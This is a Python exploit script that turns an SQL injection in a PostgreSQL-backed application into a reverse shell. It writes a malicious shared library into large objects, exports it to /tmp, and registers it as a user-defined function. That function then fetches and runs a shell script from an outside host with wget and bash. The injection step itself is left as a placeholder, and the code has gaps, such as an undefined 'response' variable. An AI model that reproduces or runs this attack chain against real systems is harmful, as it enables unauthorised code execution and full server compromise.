#!/usr/bin/env python
import requests, urllib3, urllib.parse, sys
from termcolor import colored

#Constants
PG_EXTENSION_LIB = "pg_cmdexec_extension.so"
LOID = 1522

# Utilies functions

def load_lib_as_bytes():
    content = ""
    with open(PG_EXTENSION_LIB, "rb") as f:
        content = f.read()
    return content

def execute_query(query, extra_msg=""):
    success = False
    #################
    # Leverage any SQLI to run the query passed as argument
    # INSERT SQLI EXPLOIT CODE HERE
    #################
    if response.status_code == 200:
        print(colored("Succeed!", "green"))
        success = True
    else:
        print(colored(f"Failure! (response code: {response.status_code})", "red")) 
        success = False
    return success

# Main processing

def main(bash_script_url):
    # 1. Remove any existing large object with the specified ID
    print(colored(f"[1/8] Remove any existing large object with ID {LOID}...", "magenta"))
    query = f"select lo_unlink({LOID})"
    if not execute_query(query):
        sys.exit(-1)      
    # 2. Create a LIB file that will contain our malicious code
    print(colored(f"[2/8] Load the LIB content as bytes array...", "magenta"))
    lib_content_bytes = load_lib_as_bytes()
    # 3. Inject a query that creates a large object from an arbitrary remote file on disk
    print(colored(f"[3/8] Inject a query that creates a large object from an arbitrary remote file on disk...", "magenta"))
    query = f"select lo_import($$/etc/hostname$$,{LOID})"
    if not execute_query(query):
        sys.exit(-1)
    print(colored(f"[4/8] Insert the LIB content into the Large Object created...", "magenta"))
    # 4. Inject a query that updates page 0 of the newly created large object with the first 2KB of our LIB    
    # 5. Inject queries that insert additional pages into the pg_largeobject table to contain the remainder of our LIB
    block_size = 2048
    chunk_count = int(len(lib_content_bytes) / block_size) 
    position = 0
    for i in range(chunk_count):
        chunk = lib_content_bytes[position:position+block_size]
        if i == 0:
            # Step 3
            query = f"update pg_largeobject set data=decode($${chunk.hex()}$$, $$hex$$) where loid={LOID} and pageno=0"
            position = block_size
        else:
            # Step 4
            query = f"insert into pg_largeobject(loid,pageno,data) values({LOID},{i},decode($${chunk.hex()}$$, $$hex$$))"
            position += block_size
        if not execute_query(query, f"(insert chunk {i+1}/{chunk_count}) "):
            sys.exit(-1)
    # 6. Inject a query that exports our large object (LIB) onto the remote server file system
    print(colored(f"[5/8] Inject a query that exports our large object (LIB) onto the remote server file system...", "magenta"))
    query = f"select lo_export({LOID}, $$/tmp/pg_cmdexec_extension.so$$)"
    if not execute_query(query):
        sys.exit(-1)    
    # 7. Remove the large object
    print(colored(f"[6/8] Remove the large object...", "magenta"))
    query = f"select lo_unlink({LOID})"
    if not execute_query(query):
        sys.exit(-1)   
    # 8. Inject a query that creates a PostgreSQL User Defined Function (UDF) based on our exported LIB
    print(colored(f"[7/8] Inject a query that creates a PostgreSQL UDF based on our exported LIB...", "magenta"))
    query = f"create or replace function cmd(text, integer) returns void as $$/tmp/pg_cmdexec_extension.so$$, $$execcmd$$ language C strict"
    if not execute_query(query):
        sys.exit(-1)    
    # 9. Inject a query that executes our newly created UDF to obtains a reverse shell
    print(colored(f"[8/8] Inject a query that executes our newly created UDF to setup the reverse shell...", "magenta"))
    query = f"select cmd($$wget {bash_script_url} -O /tmp/rs.sh$$,1)"
    if not execute_query(query):
        sys.exit(-1)  
    query = f"select cmd($$chmod +x /tmp/rs.sh$$,1)"
    if not execute_query(query):
        sys.exit(-1) 
    print(colored(f"[FINAL] Inject a query that executes our newly created UDF to trigger the reverse shell...", "magenta"))
    query = f"select cmd($$/bin/bash /tmp/rs.sh$$,1)"
    if not execute_query(query):
        sys.exit(-1)   

if __name__ == "__main__":
    main("http://10.10.10.10/rs.sh")